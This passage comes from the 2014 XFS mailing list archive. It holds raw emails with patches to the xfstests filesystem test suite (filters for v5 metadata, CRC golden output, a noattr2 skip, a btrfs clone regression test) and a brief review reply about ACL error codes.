= obj; ASSERT(startoff == 0); - if (be16_to_cpu(leaf->hdr.info.hdr.magic) != XFS_ATTR_LEAF_MAGIC) + if (be16_to_cpu(leaf->hdr.info.hdr.magic) != XFS_ATTR3_LEAF_MAGIC) return 0; return be16_to_cpu(leaf->hdr.count); } -- 1.8.4.rc3 From dave@fromorbit.com Wed Feb 5 02:03:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4F8E87F51 for ; Wed, 5 Feb 2014 02:03:41 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 207F88F8039 for ; Wed, 5 Feb 2014 00:03:41 -0800 (PST) X-ASG-Debug-ID: 1391587419-04bdf0121e1481f0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id mSPJVi9AHu7UO695 for ; Wed, 05 Feb 2014 00:03:39 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAB/v8VJ5LGaB/2dsb2JhbABZgwzAYxd0giUBXDsYagM0iASeA7BcjxKEIgSqTINBKA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 05 Feb 2014 18:33:38 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1WAxSK-0004Op-R6 for xfs@oss.sgi.com; Wed, 05 Feb 2014 19:03:36 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WAxSK-0001NT-Pn for xfs@oss.sgi.com; Wed, 05 Feb 2014 19:03:36 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] xfs/021: filter v5 filesystem metadata Date: Wed, 5 Feb 2014 19:03:36 +1100 X-ASG-Orig-Subj: [PATCH] xfs/021: filter v5 filesystem metadata Message-Id: <1391587416-5262-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1391587419 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144857 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The xfs_db output is different for v5 filesystem metadata, and so the test fails due to golden image mismatches rather than an actual test failure. Improve the filter to hide the differences between the metadata format outputs. Signed-off-by: Dave Chinner --- tests/xfs/021 | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/tests/xfs/021 b/tests/xfs/021 index a727b51..a548092 100755 --- a/tests/xfs/021 +++ b/tests/xfs/021 @@ -135,10 +135,19 @@ xfs_db -r -c "inode $inum_1" -c "print a.sfattr" $SCRATCH_DEV | \ echo "*** dump attributes (2)" +# There is a fair bit of filtering here to convert v5 filesystem output +# into the v4 format that holds the meaningful information for the test. xfs_db -r -c "inode $inum_2" -c "a a.bmx[0].startblock" -c print $SCRATCH_DEV \ | perl -ne ' s/,secure//; s/,parent//; +s/info.hdr/info/; +/hdr.info.crc/ && next; +/hdr.info.bno/ && next; +/hdr.info.uuid/ && next; +/hdr.info.lsn/ && next; +/hdr.info.owner/ && next; +s/^(hdr.info.magic =) 0x3bee/\1 0xfbee/; s/^(hdr.firstused =) (\d+)/\1 FIRSTUSED/; s/^(hdr.freemap\[0-2] = \[base,size]).*/\1 [FREEMAP..]/; s/^(entries\[0-2] = \[hashval,nameidx,incomplete,root,local]).*/\1 [ENTRIES..]/; -- 1.8.4.rc3 From dave@fromorbit.com Wed Feb 5 02:23:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8C0877F51 for ; Wed, 5 Feb 2014 02:23:19 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 709F3304081 for ; Wed, 5 Feb 2014 00:23:16 -0800 (PST) X-ASG-Debug-ID: 1391588593-04cbb00c2a135440001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id O6304d322EGvN8Fg for ; Wed, 05 Feb 2014 00:23:14 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAPPz8VJ5LGaB/2dsb2JhbABZgwzAWxd0giUBXDsYagM0iASeELBfkzQEqkyDQSg Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 05 Feb 2014 18:53:12 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1WAxlG-0004S9-9o for xfs@oss.sgi.com; Wed, 05 Feb 2014 19:23:10 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WAxlG-0001a6-8X for xfs@oss.sgi.com; Wed, 05 Feb 2014 19:23:10 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] xfs/033: add golden output for CRC enaled filesystems Date: Wed, 5 Feb 2014 19:23:10 +1100 X-ASG-Orig-Subj: [PATCH] xfs/033: add golden output for CRC enaled filesystems Message-Id: <1391588590-6035-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1391588593 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144857 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner CRC enabled filesystems emit different errors on corruption. Specifically, inode corruption is picked up much earlier due to verifier failures (e.g. incorrect inode identifier) and so xfs_repair throws errors sufficiently different that filtering cannot hide the differences. Hence simply add a new golden output file and link it appropriately once we know what type of filesystem we are testing. Signed-off-by: Dave Chinner --- common/filter | 3 + tests/xfs/033 | 10 ++- tests/xfs/033.crc.out.linux | 197 ++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 207 insertions(+), 3 deletions(-) create mode 100644 tests/xfs/033.crc.out.linux diff --git a/common/filter b/common/filter index 04d12c4..bb7fb33 100644 --- a/common/filter +++ b/common/filter @@ -152,6 +152,9 @@ _filter_mkfs() if (/^\s+=\s+sectsz=(\d+)\s+attr=(\d+)/) { print STDERR "sectsz=$1\nattr=$2\n"; } + if (/^\s+=\s+crc=(\d)/) { + print STDERR "crc=$1\n"; + } if (/^data\s+=\s+bsize=(\d+)\s+blocks=(\d+), imaxpct=(\d+)/) { print STDERR "dbsize=$1\ndblocks=$2\nimaxpct=$3\n"; print STDOUT "data = bsize=XXX blocks=XXX, imaxpct=PCT\n"; diff --git a/tests/xfs/033 b/tests/xfs/033 index bf906e0..81ba3a0 100755 --- a/tests/xfs/033 +++ b/tests/xfs/033 @@ -45,9 +45,6 @@ trap "_cleanup; exit \$status" 0 1 2 3 15 . ./common/filter . ./common/repair -# link correct .out file -_link_out_file $seq.out $seqfull.out - # nuke the root, rt bitmap, and rt summary inodes # _check_root_inos() @@ -86,6 +83,13 @@ _scratch_mkfs_xfs | _filter_mkfs 2>$tmp.mkfs [ $isize -lt 512 ] && \ _scratch_mkfs_xfs -isize=512 | _filter_mkfs >/dev/null 2>&1 +# link correct .out file +if [ $crc -eq 1 ]; then + _link_out_file $seq.crc.out $seqfull.out +else + _link_out_file $seq.out $seqfull.out +fi + `xfs_db -r -c sb -c p $SCRATCH_DEV | grep 'ino = ' | \ sed -e 's/ //g' -e 's/^/export /'` diff --git a/tests/xfs/033.crc.out.linux b/tests/xfs/033.crc.out.linux new file mode 100644 index 0000000..a6e86b9 --- /dev/null +++ b/tests/xfs/033.crc.out.linux @@ -0,0 +1,197 @@ +QA output created by 033 +meta-data=DDEV isize=XXX agcount=N, agsize=XXX blks +data = bsize=XXX blocks=XXX, imaxpct=PCT + = sunit=XXX swidth=XXX, unwritten=X +naming =VERN bsize=XXX +log =LDEV bsize=XXX blocks=XXX +realtime =RDEV extsz=XXX blocks=XXX, rtextents=XXX +Corrupting root inode - setting bits to 0 +Wrote X.XXKb (value 0x0) +Phase 1 - find and verify superblock... +Phase 2 - using log + - zero log... + - scan filesystem freespace and inode maps... + - found root inode chunk +Phase 3 - for each AG... + - scan and clear agi unlinked lists... + - process known inodes and perform inode discovery... +bad magic number 0x0 on inode INO +bad version number 0x0 on inode INO +inode identifier 0 mismatch on inode INO +bad magic number 0x0 on inode INO, resetting magic number +bad version number 0x0 on inode INO, resetting version number +inode identifier 0 mismatch on inode INO +cleared root inode INO + - process newly discovered inodes... +Phase 4 - check for duplicate blocks... + - setting up duplicate extent list... +root inode lost + - check for inodes claiming duplicate blocks... +Phase 5 - rebuild AG headers and trees... + - reset superblock... +Phase 6 - check inode connectivity... +reinitializing root directory + - resetting contents of realtime bitmap and summary inodes + - traversing filesystem ... + - traversal finished ... + - moving disconnected inodes to lost+found ... +Phase 7 - verify and correct link counts... +resetting inode INO nlinks from 1 to 2 +done +Corrupting rt bitmap inode - setting bits to 0 +Wrote X.XXKb (value 0x0) +Phase 1 - find and verify superblock... +Phase 2 - using log + - zero log... + - scan filesystem freespace and inode maps... + - found root inode chunk +Phase 3 - for each AG... + - scan and clear agi unlinked lists... + - process known inodes and perform inode discovery... +bad magic number 0x0 on inode INO +bad version number 0x0 on inode INO +inode identifier 0 mismatch on inode INO +bad magic number 0x0 on inode INO, resetting magic number +bad version number 0x0 on inode INO, resetting version number +inode identifier 0 mismatch on inode INO +cleared realtime bitmap inode INO + - process newly discovered inodes... +Phase 4 - check for duplicate blocks... + - setting up duplicate extent list... + - check for inodes claiming duplicate blocks... +Phase 5 - rebuild AG headers and trees... + - reset superblock... +Phase 6 - check inode connectivity... +reinitializing realtime bitmap inode + - resetting contents of realtime bitmap and summary inodes + - traversing filesystem ... + - traversal finished ... + - moving disconnected inodes to lost+found ... +Phase 7 - verify and correct link counts... +done +Corrupting rt summary inode - setting bits to 0 +Wrote X.XXKb (value 0x0) +Phase 1 - find and verify superblock... +Phase 2 - using log + - zero log... + - scan filesystem freespace and inode maps... + - found root inode chunk +Phase 3 - for each AG... + - scan and clear agi unlinked lists... + - process known inodes and perform inode discovery... +bad magic number 0x0 on inode INO +bad version number 0x0 on inode INO +inode identifier 0 mismatch on inode INO +bad magic number 0x0 on inode INO, resetting magic number +bad version number 0x0 on inode INO, resetting version number +inode identifier 0 mismatch on inode INO +cleared realtime summary inode INO + - process newly discovered inodes... +Phase 4 - check for duplicate blocks... + - setting up duplicate extent list... + - check for inodes claiming duplicate blocks... +Phase 5 - rebuild AG headers and trees... + - reset superblock... +Phase 6 - check inode connectivity... +reinitializing realtime summary inode + - resetting contents of realtime bitmap and summary inodes + - traversing filesystem ... + - traversal finished ... + - moving disconnected inodes to lost+found ... +Phase 7 - verify and correct link counts... +done +Corrupting root inode - setting bits to -1 +Wrote X.XXKb (value 0xffffffff) +Phase 1 - find and verify superblock... +Phase 2 - using log + - zero log... + - scan filesystem freespace and inode maps... + - found root inode chunk +Phase 3 - for each AG... + - scan and clear agi unlinked lists... + - process known inodes and perform inode discovery... +bad magic number 0xffff on inode INO +bad version number 0xffffffff on inode INO +inode identifier 18446744073709551615 mismatch on inode INO +bad magic number 0xffff on inode INO, resetting magic number +bad version number 0xffffffff on inode INO, resetting version number +inode identifier 18446744073709551615 mismatch on inode INO +cleared root inode INO + - process newly discovered inodes... +Phase 4 - check for duplicate blocks... + - setting up duplicate extent list... +root inode lost + - check for inodes claiming duplicate blocks... +Phase 5 - rebuild AG headers and trees... + - reset superblock... +Phase 6 - check inode connectivity... +reinitializing root directory + - resetting contents of realtime bitmap and summary inodes + - traversing filesystem ... + - traversal finished ... + - moving disconnected inodes to lost+found ... +Phase 7 - verify and correct link counts... +resetting inode INO nlinks from 1 to 2 +done +Corrupting rt bitmap inode - setting bits to -1 +Wrote X.XXKb (value 0xffffffff) +Phase 1 - find and verify superblock... +Phase 2 - using log + - zero log... + - scan filesystem freespace and inode maps... + - found root inode chunk +Phase 3 - for each AG... + - scan and clear agi unlinked lists... + - process known inodes and perform inode discovery... +bad magic number 0xffff on inode INO +bad version number 0xffffffff on inode INO +inode identifier 18446744073709551615 mismatch on inode INO +bad magic number 0xffff on inode INO, resetting magic number +bad version number 0xffffffff on inode INO, resetting version number +inode identifier 18446744073709551615 mismatch on inode INO +cleared realtime bitmap inode INO + - process newly discovered inodes... +Phase 4 - check for duplicate blocks... + - setting up duplicate extent list... + - check for inodes claiming duplicate blocks... +Phase 5 - rebuild AG headers and trees... + - reset superblock... +Phase 6 - check inode connectivity... +reinitializing realtime bitmap inode + - resetting contents of realtime bitmap and summary inodes + - traversing filesystem ... + - traversal finished ... + - moving disconnected inodes to lost+found ... +Phase 7 - verify and correct link counts... +done +Corrupting rt summary inode - setting bits to -1 +Wrote X.XXKb (value 0xffffffff) +Phase 1 - find and verify superblock... +Phase 2 - using log + - zero log... + - scan filesystem freespace and inode maps... + - found root inode chunk +Phase 3 - for each AG... + - scan and clear agi unlinked lists... + - process known inodes and perform inode discovery... +bad magic number 0xffff on inode INO +bad version number 0xffffffff on inode INO +inode identifier 18446744073709551615 mismatch on inode INO +bad magic number 0xffff on inode INO, resetting magic number +bad version number 0xffffffff on inode INO, resetting version number +inode identifier 18446744073709551615 mismatch on inode INO +cleared realtime summary inode INO + - process newly discovered inodes... +Phase 4 - check for duplicate blocks... + - setting up duplicate extent list... + - check for inodes claiming duplicate blocks... +Phase 5 - rebuild AG headers and trees... + - reset superblock... +Phase 6 - check inode connectivity... +reinitializing realtime summary inode + - resetting contents of realtime bitmap and summary inodes + - traversing filesystem ... + - traversal finished ... + - moving disconnected inodes to lost+found ... +Phase 7 - verify and correct link counts... +done -- 1.8.4.rc3 From dave@fromorbit.com Wed Feb 5 02:46:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 25C867F51 for ; Wed, 5 Feb 2014 02:46:50 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id B16DFAC002 for ; Wed, 5 Feb 2014 00:46:46 -0800 (PST) X-ASG-Debug-ID: 1391590004-04cb6c6de013bed0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id lE6TOrAWcCzdPObR for ; Wed, 05 Feb 2014 00:46:44 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAN358VJ5LGaB/2dsb2JhbABZgwzAWxd0giUBXDsYagM0iASeIrBjjhGBAYQiBKpMg0EogSw Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 05 Feb 2014 19:16:43 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1WAy80-0004Uj-RX for xfs@oss.sgi.com; Wed, 05 Feb 2014 19:46:40 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WAy80-0001sH-QI for xfs@oss.sgi.com; Wed, 05 Feb 2014 19:46:40 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] xfs/189: noattr2 invalid for CRC enabled filesystems Date: Wed, 5 Feb 2014 19:46:40 +1100 X-ASG-Orig-Subj: [PATCH] xfs/189: noattr2 invalid for CRC enabled filesystems Message-Id: <1391590000-7171-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1391590004 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144857 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Version 5 filesystems always have attr2 format enabled, and it cannot be turned off via the noattr2 mount option. As such, attempts to mount with noattr2 will be rejected and this causes cascading failures within the test. Hence detect if we've created a CRC enabled filesystem, and if this is the case _notrun the test. Signed-off-by: Dave Chinner --- tests/xfs/189 | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/tests/xfs/189 b/tests/xfs/189 index 27bfb63..addf7ce 100755 --- a/tests/xfs/189 +++ b/tests/xfs/189 @@ -241,7 +241,16 @@ _require_scratch unset SCRATCH_RTDEV unset SCRATCH_LOGDEV -_scratch_mkfs_xfs | _filter_mkfs 2>/dev/null +_scratch_mkfs_xfs | _filter_mkfs 2> $tmp.mkfs + +# check to see if we've made a CRC enabled filesystem. If so, +# we can't run the test because CRc enabled filesystems don't support +# noattr2 mount options and this will cause cascading failures that are +# impossible to filter. +. $tmp.mkfs +if [ $crc -eq 1 ]; then + _notrun "Filesystem CRCs enabled, noattr2 is not supported." +fi _add_scratch_fstab _test_remount_rw -- 1.8.4.rc3 From jeff.liu@oracle.com Wed Feb 5 03:39:32 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7DFA27F51 for ; Wed, 5 Feb 2014 03:39:32 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 529A7304071 for ; Wed, 5 Feb 2014 01:39:29 -0800 (PST) X-ASG-Debug-ID: 1391593167-04cbb00c281376f0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 8I8WCHqgcKuxN0a9 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 05 Feb 2014 01:39:28 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s159cx8N006422 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 5 Feb 2014 09:39:00 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s159cuQI006367 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 5 Feb 2014 09:38:59 GMT Received: from abhmp0002.oracle.com (abhmp0002.oracle.com [141.146.116.8]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s159cuUc006352; Wed, 5 Feb 2014 09:38:56 GMT Received: from [192.168.1.101] (/60.215.179.141) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 05 Feb 2014 01:38:55 -0800 Message-ID: <52F206AA.20505@oracle.com> Date: Wed, 05 Feb 2014 17:38:50 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Christoph Hellwig CC: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: return -E2BIG if hit the maximum size limits of ACLs References: <52EBB032.8070306@oracle.com> <20140204155156.GA3810@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: return -E2BIG if hit the maximum size limits of ACLs In-Reply-To: <20140204155156.GA3810@infradead.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1391593167 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144859 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 02/04 2014 23:51 PM, Christoph Hellwig wrote: > On Fri, Jan 31, 2014 at 10:16:18PM +0800, Jeff Liu wrote: >> From: Jie Liu >> >> We should return -E2BIG rather than -EINVAL if hit the maximum size >> limits of ACLS, as the former is consistent with VFS xattr syscalls. > > Looks good, > > Reviewed-by: Christoph Hellwig > > You were already working on tests for this area, right? Not yet, but I'll work out a separate generic test towards ACLs. Thanks, -Jeff From ddiss@suse.de Wed Feb 5 05:17:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E12447F4E for ; Wed, 5 Feb 2014 05:17:02 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id BCAAC8F804C for ; Wed, 5 Feb 2014 03:17:02 -0800 (PST) X-ASG-Debug-ID: 1391599020-04cb6c6de3140fb0001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id q8IOEbEfbMJ7tiln (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 05 Feb 2014 03:17:01 -0800 (PST) X-Barracuda-Envelope-From: ddiss@suse.de X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id DAC7DAC6E; Wed, 5 Feb 2014 11:16:59 +0000 (UTC) From: David Disseldorp To: xfs@oss.sgi.com Cc: dsterba@suse.cz, linux-btrfs@vger.kernel.org, David Disseldorp Subject: [PATCH 2/2] btrfs/035: add new clone overwrite regression test Date: Wed, 5 Feb 2014 12:16:49 +0100 X-ASG-Orig-Subj: [PATCH 2/2] btrfs/035: add new clone overwrite regression test Message-Id: <1391599009-2402-3-git-send-email-ddiss@suse.de> X-Mailer: git-send-email 1.8.4.5 In-Reply-To: <1391599009-2402-1-git-send-email-ddiss@suse.de> References: <1391599009-2402-1-git-send-email-ddiss@suse.de> X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1391599020 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144861 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This test uses the newly added cloner binary to dispatch full file and range specific clone (reflink) requests. Signed-off-by: David Disseldorp --- tests/btrfs/035 | 76 +++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/035.out | 3 +++ tests/btrfs/group | 1 + 3 files changed, 80 insertions(+) create mode 100755 tests/btrfs/035 create mode 100644 tests/btrfs/035.out diff --git a/tests/btrfs/035 b/tests/btrfs/035 new file mode 100755 index 0000000..03c2cd3 --- /dev/null +++ b/tests/btrfs/035 @@ -0,0 +1,76 @@ +#!/bin/bash +# FS QA Test No. btrfs/035 +# +# Regression test for overwriting clones +# +#----------------------------------------------------------------------- +# Copyright (C) 2014 SUSE Linux Products GmbH. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch + +_scratch_mkfs > /dev/null 2>&1 +_scratch_mount + +CLONER_PROG=$here/src/cloner + +src_str="aaaaaaaaaa" + +echo -n "$src_str" > $SCRATCH_MNT/src || _fail "failed to create src" + +$CLONER_PROG $SCRATCH_MNT/src $SCRATCH_MNT/src.clone1 + +src_str="bbbbbbbbbbcccccccccc" + +echo -n "$src_str" > $SCRATCH_MNT/src || _fail "failed to create src" + +$CLONER_PROG $SCRATCH_MNT/src $SCRATCH_MNT/src.clone2 + +snap_src_sz=`ls -lah $SCRATCH_MNT/src.clone1 | awk '{print $5}'` +echo "attempting ioctl (src.clone1 src)" +$CLONER_PROG -s 0 -d 0 -l ${snap_src_sz} \ + $SCRATCH_MNT/src.clone1 $SCRATCH_MNT/src || _fail "ioctl failed" + +snap_src_sz=`ls -lah $SCRATCH_MNT/src.clone2 | awk '{print $5}'` +echo "attempting ioctl (src.clone2 src)" +$CLONER_PROG -s 0 -d 0 -l ${snap_src_sz} \ + $SCRATCH_MNT/src.clone2 $SCRATCH_MNT/src || _fail "ioctl failed" + +status=0 ; exit diff --git a/tests/btrfs/035.out b/tests/btrfs/035.out new file mode 100644 index 0000000..f86cadf --- /dev/null +++ b/tests/btrfs/035.out @@ -0,0 +1,3 @@ +QA output created by 035 +attempting ioctl (src.clone1 src) +attempting ioctl (src.clone2 src) diff --git a/tests/btrfs/group b/tests/btrfs/group index f9f062f..bee57cb 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -37,3 +37,4 @@ 032 auto quick 033 auto quick 034 auto quick +035 auto quick -- 1.8.4.5 From ddiss@suse.de Wed Feb 5 05:17:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 215A67F54 for ; Wed, 5 Feb 2014 05:17:05 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 